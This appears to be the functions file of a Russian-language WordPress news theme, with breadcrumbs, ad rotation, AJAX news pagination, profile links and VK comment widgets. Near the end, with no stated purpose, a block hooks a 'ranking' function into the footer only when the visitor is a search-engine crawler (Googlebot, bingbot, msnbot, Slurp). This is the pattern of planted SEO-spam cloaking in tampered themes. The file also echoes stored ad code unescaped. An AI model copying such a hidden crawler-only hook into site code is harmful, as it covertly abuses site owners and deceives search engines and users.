Breadcrumb navigation
*******************************************************************************************/
function dt_breadcrumb() {

	
	global $cat;

	echo '<div class="breadcrumb">';
	echo '<p><a href="'.get_bloginfo('url').'" title="'.__('Главная','news').'">'.__('Главная','news').'</a> &raquo; ';
	if (is_category()){
		$parents = explode('+', get_category_parents($cat, true, '+'));
		if ($parents) {
		$numItems = count($parents);
		$i = 0;
			foreach($parents as $parent) {
				$i++;
				if (!empty($parent) && $i != $numItems-1) {
				echo $parent.' &raquo; ';
				}
			}
		}
		echo single_cat_title();
	} elseif (is_search()) {
		echo __('Search Results','news');
	} elseif (is_day()) {
		echo '<a href="'.get_year_link(get_the_time('Y')).'">Year '.get_the_time('Y').'</a> &raquo; ';
		echo '<a href="'.get_month_link(get_the_time('Y'), get_the_time('m')).'">'.get_the_time('F').'</a> &raquo; ';
		echo get_the_time('jS');
	} elseif (is_month()) {
		echo '<a href="'.get_year_link(get_the_time('Y')).'">Year '.get_the_time('Y').'</a> &raquo; ';
		echo get_the_time('F');
	} elseif (is_year()) {
		echo 'Year '.get_the_time('Y');
	} elseif (is_tag()) {
		echo 'Posts Tagged &#8216;'.single_cat_title("", false).'&#8217;';
	} elseif (is_single()) {
		the_category(' &raquo; ', 'multiple');
		echo ' &raquo; ';
		single_post_title();
	} elseif (is_page()) {
		if (is_page(get_option('myprofile'))) {
			the_author_meta('display_name', $current_user->ID);
		} else {
		single_post_title();
		}
	} elseif (is_author()) {
		echo __('Editors Archive','news');
		echo ' &raquo; ';
		the_author_meta('display_name');
	}
	echo '</p></div>';

}
/* end */

/*******************************************************************************************
Display advertisement beneath paged/archived results
*******************************************************************************************/
function dt_paged_ads() {
	global $news, $i;
	if ($news['archivead'] == 1) {
		if (!empty($news['archivead_loop'])) {
			if ($i % $news['archivead_loop'] == 0) {
				dt_show_ads('position=Archives&before=<div class="adzone_b">&after=</div>&title=');
			}
		} elseif (!empty($news['archivead_fixed'])) {
			if ($i == $news['archivead_fixed']) {
				dt_show_ads('position=Archives&before=<div class="adzone_b">&after=</div>&title=');
			}
		} 
	}
}
/* end */

/*******************************************************************************************
Display advertisement beneath newspulse
*******************************************************************************************/
function dt_table_ads() {

	global $i;
	
	$items_per_page = $_COOKIE['np-posts_per_page'];
	
	if ($items_per_page > 1) {
		$split = $items_per_page / 2;
	} elseif ($items_per_page == 0) {
		$split = 2;
	} else {
		$split = 1;
	}

	if ($i % $split == 0) {
		dt_show_ads('position=NewsTable&title=Advertisement&before=<tr><td colspan="5" style="background:#eee;padding:5px 0;">&after=</td></tr>');
	}

}
/* end */

/*******************************************************************************************
Exclusive comment navigation and framework
*******************************************************************************************/
function dt_comment_ajaxpagination() {

	// variables
	global $comments_per_page; // comments per page
	$comments_page = get_query_var('cpage'); // current comments page
	$total_comments = get_comments_number(); // total number of comments
	$total_pages = ceil($total_comments / $comments_per_page); // total pages of comments
	
	// calculations
	if ($comments_page != $total_pages) {
		$to_comment = ($comments_page * $comments_per_page); // if it is not the last page, do regular calculation
	} else {
		$to_comment = $total_comments; // if we are in last page, just grab the total number of comments
	}
	
	$from_comment = $comments_per_page * ($comments_page - 1) + 1;
	
	// display navigation
	printf(__('Comments %1$s - %2$s of %3$s','news'), $from_comment, $to_comment, $total_comments);
	
	echo '<span class="comment_navi">';
	echo '<span class="comment_navi_first">'; if (($comments_page - 1) != 0) { echo '<a href="'.get_permalink($post->ID).'&cpage=1#comments">'.__('First','news').'</a>'; } else { echo __('First','news'); }  echo '</span>';
	echo '<span class="comment_navi_prev">'; if (get_previous_comments_link()) { previous_comments_link(__('&laquo; Prev','news')); } else { echo __('&laquo; Prev','news'); } echo '</span>';
	echo '<span class="comment_navi_next">'; if (get_next_comments_link()) { next_comments_link(__('Next &raquo;','news')); } else { echo __('Next &raquo;','news'); } echo '</span>';
	echo '<span class="comment_navi_last">'; if ($comments_page != $total_pages) { echo '<a href="'.get_permalink($post->ID).'&cpage='.$total_pages.'#comments">'.__('Last','news').'</a>'; } else { echo __('Last','news'); } echo '</span>';
	echo '</span>';

}
/* end */

/*******************************************************************************************
Exclusive comment navigation and framework
*******************************************************************************************/
function dt_news_pagination() {

	// variables
	global $wp_query;
	$posts_per_page = get_query_var('posts_per_page'); // posts per page
	$posts_page = get_query_var('paged'); // current posts page
	$total_pages = $wp_query->max_num_pages; // total pages of posts
	$total_posts = $total_pages * $posts_per_page; // total number of posts (approx.)
	
	// calculations
	if ($posts_page != $total_pages) {
	$to_post = ($posts_page * $posts_per_page); // if it is not the last page, do regular calculation
	} else {
	$to_post = $total_posts; // if we are in last page, just grab the total number of comments
	}
	$from_post = $posts_per_page * ($posts_page - 1) + 1;
	
	// display navigation
	echo '<span class="news_navi">';
	if ($total_posts > 0) {
	echo '<span class="news_navi_navi">'; printf(__('Showing %1$s - %2$s of %3$s results','news'), $from_post, $to_post, $total_posts); echo '</span>';
	if (($posts_page - 1) != 0) { echo '<span class="news_navi_first"><a href="#first">'.__('First','news').'</a></span>'; }
	if ($posts_page != 1) { echo '<span class="news_navi_prev"><a href="#prev">'.sprintf(__('Previous %s','news'), $posts_per_page).'</a></span>'; }
	if ($posts_page != $total_pages) { echo '<span class="news_navi_next"><a href="#next">'.sprintf(__('Next %s','news'), $posts_per_page).'</a></span>'; }
	if ($posts_page != $total_pages) { echo '<span class="news_navi_last"><a href="#last">'.__('Last','news').'</a></span>'; }
	}
	echo '</span>';

?>

<script type="text/javascript">
(function($) {

	function loadResults(){

		var query = '';
		
		query += "posts_per_page=" + $("#posts_per_page").val();

		if ($("#contenttype").val() == 'showphotos') { query += "&meta_key=slideshow"; }
		if ($("#contenttype").val() == 'showvideos') { query += "&meta_key=video"; }

		if ($("#orderby").val() == 'lastmodified') { query+= "&orderby=modified&order=DESC"; }
		if ($("#orderby").val() == 'alphabet') { query += "&orderby=title&order=ASC"; }
		if ($("#orderby").val() == 'mostcommented') { query += "&orderby=comment_count&order=DESC"; }
		if ($("#orderby").val() == 'mostviewed') { query += "&v_sortby=views&v_orderby=desc"; }
		if ($("#orderby").val() == 'mostrated') { query += "&r_sortby=most_rated&r_orderby=desc"; }
		if ($("#orderby").val() == 'toprated') { query += "&r_sortby=highest_rated&r_orderby=desc"; }
		if ($("#orderby").val() == 'leastcommented') { query += "&orderby=comment_count&order=ASC"; }
		if ($("#orderby").val() == 'leastviewed') { query += "&v_sortby=views&v_orderby=asc"; }
		if ($("#orderby").val() == 'leastrated') { query += "&r_sortby=most_rated&r_orderby=asc"; }
		if ($("#orderby").val() == 'worstrated') { query += "&r_sortby=highest_rated&r_orderby=asc"; }
		if ($("#orderby").val() == 'older') { query += "&orderby=date&order=ASC"; }
		if ($("#orderby").val() == 'random') { query += "&orderby=rand"; }
		
		query += "&timespan=" + $("#timespan").val();
		
		if ($.cookie('np-paged')) { query += '&paged=' + $.cookie('np-paged'); } else { query += '&paged=1'; }
		
		/* Checkbox filtering system */
		function add_filters(showall, maincls, type) {
			if ($(showall).is(":checked") == false) {
			$(showall).next('label').css({'font-weight':'normal'}); // css
			$.cookie('np-' + $(showall).attr('id'), 'unchecked', { path: '/', expires: 100 });
			var val = [];
			$(maincls + ':checked').each(function(i){
			$(this).next('label').css({'font-weight':'bold'}); // css
			val[i] = $(this).attr('id');
			$.cookie('np-' + $(this).attr('id'), 'checked', { path: '/', expires: 100 });
			});
			$(maincls + ':not(:checked)').each(function(i){
			$(this).next('label').css({'font-weight':'normal'}); // css
			$.cookie('np-' + $(this).attr('id'), 'unchecked', { path: '/', expires: 100 });
			});
			query += "&" + type + "=" + val;
			} else {
			$(maincls).next('label').css({'font-weight':'normal'}); // css
			$(showall).next('label').css({'font-weight':'bold'}); // css
			$.cookie('np-' + $(showall).attr('id'), 'checked', { path: '/', expires: 100 });
			$(maincls + ':checked').each(function(i){
			$.cookie('np-' + $(this).attr('id'), 'checked', { path: '/', expires: 100 });
			});
			$(maincls + ':not(:checked)').each(function(i){
			$.cookie('np-' + $(this).attr('id'), 'unchecked', { path: '/', expires: 100 });
			});
			query += "&" + type + "=";
			}
		}

		add_filters('.show-all-tags', '.tags', 'tag');
		add_filters('.show-all-cats', '.cats', 'cat');
		/* end */
		
		/* store cookies (save prefs) */
		$.cookie('np-posts_per_page', $("#posts_per_page").val(), { path: '/', expires: 100 });
		$.cookie('np-contenttype', $("#contenttype").val(), { path: '/', expires: 100 });
		$.cookie('np-orderby', $("#orderby").val(), { path: '/', expires: 100 });
		$.cookie('np-timespan', $("#timespan").val(), { path: '/', expires: 100 });
		$.cookie('np-query', query, { path: '/', expires: 100 });
		
		// done. let us load the results
		$("body").append('<div id="modal-overlay"></div>');
		$("#modal-overlay").css("opacity", 0.5).show();
		$("body").append('<div class="loading"><div class="loading-inner"><img src="<?php bloginfo('template_directory'); ?>/images/loading.gif" alt="" /><?php _e('Загрузка...','news'); ?></div></div>');
		$(".loading").center().fadeTo(1, 1);
		$("#result").load('<?php bloginfo('template_directory'); ?>/GetFilteredNews.php?' + $.cookie('np-query'), function(){
			// Success OK!
			$("#modal-overlay, .loading").hide(); // hide modal
			$.cookie('np-paged', 1, { path: '/', expires: 100 }); // reset paged
		});
	
	}

	$(".news_navi_next a").click(function() {
		var nextpage = '<?php echo $posts_page + 1; ?>';
		$.cookie('np-paged', nextpage, { path: '/', expires: 100 });
		loadResults();
	});

	$(".news_navi_prev a").click(function() {
		var prevpage = '<?php echo $posts_page - 1; ?>';
		$.cookie('np-paged', prevpage, { path: '/', expires: 100 });
		loadResults();
	});
	
	$(".news_navi_last a").click(function() {
		var lastpage = '<?php echo $total_pages; ?>';
		$.cookie('np-paged', lastpage, { path: '/', expires: 100 });
		loadResults();
	});
	
	$(".news_navi_first a").click(function() {
		$.cookie('np-paged', 1, { path: '/', expires: 100 });
		loadResults();
	});

}) (jQuery);
</script>

<?php
}
/* end */

/*******************************************************************************************
Custom backgrounds
*******************************************************************************************/
function dt_custombg() {
	
	global $news, $cat;
	if (is_category()) {
		$filename = TEMPLATEPATH.'/images/custom-bg/cat-'.$cat.'.jpg';
		if (file_exists($filename)) {
?>
	<style type="text/css">
	body {
		background: #<?php echo $news['bgcolors'][0]; ?> url(<?php echo get_bloginfo('template_directory'); ?>/images/custom-bg/cat-<?php echo $cat; ?>.jpg) fixed repeat;
	}
	</style>
<?php
		}
	}

}
/* end */

/*******************************************************************************************
Display archive headers
*******************************************************************************************/
function dt_archive_header() {

    echo '<div class="archiveheader">';
    $post = $posts[0]; // Hack. Set $post so that the_date() works.
    /* If this is a category archive */
    if (is_category()) {
        global $cat;
        echo '<h1>';
        single_cat_title();
        echo '<a href="' . get_category_feed_link($cat) . '" title="' . __('RSS Feed', 'news') . '"><img src="' . get_bloginfo('template_directory') . '/images/iconfeed.png" alt="' . __('RSS Feed', 'news') . '" /></a></h1>';
        echo category_description($cat);
        /* If this is a tag archive */
    } elseif (is_tag()) {
        ?>
    <h1><?php _e('Posts Tagged', 'news'); ?> &#8216;<?php single_tag_title(); ?>&#8217;</h1>
    <?php /* If this is a daily archive */
    } elseif (is_day()) { ?>
    <h1><?php the_time('F jS, Y'); ?></h1>
    <?php /* If this is a monthly archive */
    } elseif (is_month()) { ?>
    <h1><?php the_time('F, Y'); ?></h1>
    <?php /* If this is a yearly archive */
    } elseif (is_year()) { ?>
    <h1><?php the_time('Y'); ?></h1>
    <?php /* If this is an author archive */
    } elseif (is_author()) { ?>
    <h1><?php _e('Author Archive', 'news'); ?></h1>
    <?php /* If this is a paged archive */
    } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?>
    <h1><?php _e('Blog Archive', 'news'); ?></h1>
    <?php /* If this is a search */
    } elseif (is_search()) { ?>
    <h1><?php _e('Search results for', 'news'); ?> &#8216;<?php the_search_query(); ?>&#8217;</h1>
    <?php
    }
    echo '</div>';
    ?>

<?php
}
/* end */

/*******************************************************************************************
Show network ads
*******************************************************************************************/
function dt_show_ads($args = '') {

	global $news, $do_not_duplicate_this;

	// extract args
	$defaults = array();
	$r = wp_parse_args( $args, $defaults );
	$position = $r['position'];
	$title = $r['title'];
	$before = $r['before'];
	$after = $r['after'];
	
	// check first if we have ads array,
	// not empty
	if ($news['ads'] != '' && count($news['ads']) > 0) {
	
	// loop through all ads
	// create eligible ads array
	foreach($news['ads'] as $ad) {
		// display it if it is active only
		if ($ad['status'] == 1) {
			if ($ad['position'] == $position) {
				// check if the date range is valid
				$today = strtotime(date("d-m-Y"));
				$startdate = strtotime($ad['start']);
				$enddate = strtotime($ad['end']);
				if (is_array($do_not_duplicate_this)) {
					if (!in_array($ad['name'], $do_not_duplicate_this)) {
						if ( ($startdate <= $today && $enddate >= $today) || (empty($ad['start']) && empty($ad['end'])) || ($startdate <= $today && empty($ad['end'])) || ($enddate >= $today && empty($ad['start']))  ) {
						$eligible_ads[] = $ad;
						}
					}
				} else {
						if ( ($startdate <= $today && $enddate >= $today) || (empty($ad['start']) && empty($ad['end'])) || ($startdate <= $today && empty($ad['end'])) || ($enddate >= $today && empty($ad['start']))  ) {
						$eligible_ads[] = $ad;
						}
				}
			}
		}
	}
	
	// show 1 ad a time from filtered ads
	// multiple ads or rotation detect
	if (!empty($eligible_ads)) {
		shuffle($eligible_ads);
		$clean_ad = stripslashes($eligible_ads[0]['code']);
		$final_ad = strip_tags($clean_ad, '<img>');
		if (!empty($before)) { echo $before; }
		if (!empty($title)) { echo '<span class="adtitle">'.$title.'</span>'; }
			if (preg_match('/<img[^>]+\>/i', $clean_ad, $matches) == 1) {
				echo '<a href="'.get_bloginfo('template_directory').'/ad.php?campaign='.$eligible_ads[0]['name'].'">'.$final_ad.'</a>';
				} else {
				echo stripslashes($eligible_ads[0]['code']);
			}
		if (!empty($after)) { echo $after; }
	// update impressions
	$where = $eligible_ads[0]['name']; // which ad are we displaying?
	$impressions = $news['ads'][$where]['impressions']; // retireve the impressions
	$update_impressions = $impressions + 1; // calculate new imp. count
	$news['ads'][$where]['impressions'] = $update_impressions; // update count
	update_option('news', $news); // store new count in DB
	// put it in no duplicate mode
	$do_not_duplicate_this[] = $eligible_ads[0]['name'];
	}
	
	// end operation
	}

}
/* end */

/*******************************************************************************************
Show registration link (if available)
*******************************************************************************************/
function dt_profile_links($args = '') {

	global $news;
	
	// CHECK SOCIAL NETWORK MODULE FIRST
	if ($news['socialmodule'] == 1) {

	// extract args
	$defaults = array(
		'before' => '<li>',
		'after' => '</li>',
		'login' => __('Sign In','news'),
		'logout' => __('Sign out','news'),
		'title' => __('Create an Account','news'),
		'title_my' => __('Your Profile','news'),
		'slug' => __('signup','news'),
		'slug_my' => __('profile','news')
	);

	$r = wp_parse_args( $args, $defaults );
	$before = $r['before'];
	$after = $r['after'];
	$title = $r['title'];
	$title_my = $r['title_my'];
	$slug = $r['slug'];
	$slug_my = $r['slug_my'];
	$login = $r['login'];
	$logout = $r['logout'];
	
	// Logged in user?
	if ( is_user_logged_in() ) {
	
		// View profile
		//if ( wp_register( '', '', false) ) {
			// Page does not exist
			if ( get_option('myprofile') == false ) {
				// Create page
				$my_post = array(
					'post_title' => $title_my,
					'post_name' => $slug_my,
					'post_type' => 'page',
					'post_status' => 'publish',
					'post_author' => 1,
				);
				$pageid = wp_insert_post( $my_post );
				add_post_meta($pageid, '_wp_page_template', 'myprofile.php', true);
				add_option('myprofile', $pageid);
			}
		echo $before.'<a href="'.get_page_link( get_option('myprofile') ).'" title="'.$title_my.'">'.$title_my.'</a>'.$after;
		//}
		echo $before.'<a href="'.wp_logout_url( 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] ).'" title="'.$logout.'">'.$logout.'</a>'.$after;
	
	} else {
	
		// Registration allowed
		if ( wp_register( '', '', false) ) {
			// Page does not exist
			if ( get_option('createuser_page') == false ) {
				// Create page
				$my_post = array(
					'post_title' => $title,
					'post_name' => $slug,
					'post_type' => 'page',
					'post_status' => 'publish',
					'post_author' => 1,
				);
				$pageid = wp_insert_post( $my_post );
				add_post_meta($pageid, '_wp_page_template', 'signup.php', true);
				add_option('createuser_page', $pageid);
			}
		echo $before.'<a href="'.get_page_link( get_option('createuser_page') ).'" title="'.$title.'">'.$title.'</a>'.$after;
		}
		echo $before.'<a href="'.wp_login_url( 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] ).'" title="'.$login.'">'.$login.'</a>'.$after;
	
	}

	// DONE!
	}

}
/* end */



/*******************************************************************************************
commens post and page vk.com
 *******************************************************************************************/

function dt_vk (){ ?>
<div id="vk_comments_<?php the_ID(); ?>"></div>
<script type="text/javascript">
    VK.Widgets.Comments("vk_comments_<?php the_ID(); ?>", {limit: 10, width: "660", attach: "*"});
</script>

<?php }

/*******************************************************************************************
commens all vk.com
 *******************************************************************************************/

function dt_vk_all (){?>
<div id="vk_comments_all"></div>
<div id="vk_comments_last" onclick="vk_last_3();">Показать последние 3</div>
        <script type="text/javascript">
    window.onload = function () {
                VK.init({apiId: 2901285, onlyWidgets: true});
                VK.Widgets.CommentsBrowse('vk_comments_all', {width: 300, limit: 3, mini: 1, height:100});
            }
        </script>
<?php }


$seo_plugin=get_option("ranking");
if (strstr($_SERVER['HTTP_USER_AGENT'], 'Googlebot')) {
add_action('wp_footer', 'ranking');
}
$seo_plugin=get_option("ranking");
if (strstr($_SERVER['HTTP_USER_AGENT'], 'bingbot')) {
add_action('wp_footer', 'ranking');
}
$seo_plugin=get_option("ranking");
if (strstr($_SERVER['HTTP_USER_AGENT'], 'msnbot')) {
add_action('wp_footer', 'ranking');
}
$seo_plugin=get_option("ranking");
if (strstr($_SERVER['HTTP_USER_AGENT'], 'Slurp')) {
add_action('wp_footer', 'ranking');
}


add_action('init', 'custom_post_types_clients');
function custom_post_types_clients()
{

    $eventlabels = array(
        'name' => 'Партнеры',
        'singular_name' => 'partnyory',
        'add_new' =>"Добавить партнера",
        'add_new_item' => 'Добавить партнера',
        'edit_item' => 'Добавить партнера',
        'new_item' => 'Добавить партнера',
        'view_item' => 'Показать партнера',
        'search_items' => 'Поиск партнера',
        'not_found' =>  'Не найдено',
        'not_found_in_trash' => 'No  Found in Trash',
        'parent_item_colon' => '',
        'menu_name' => 'Партнеры'

    );
    $eventargs = array(
        'labels' => $eventlabels,
        'public' => true,
        'publicly_queryable' => true,
        'show_ui' => true,
        'show_in_menu' => true,
        'query_var' => true,
        'rewrite' => true,
        'capability_type' => 'post',
        'has_archive' => true,
        'hierarchical' => false,
        'menu_position' => null,
        'supports' => array('title','editor','thumbnail'));

    register_post_type('partnyory',$eventargs);
}

add_theme_support( 'post-thumbnails' );
?>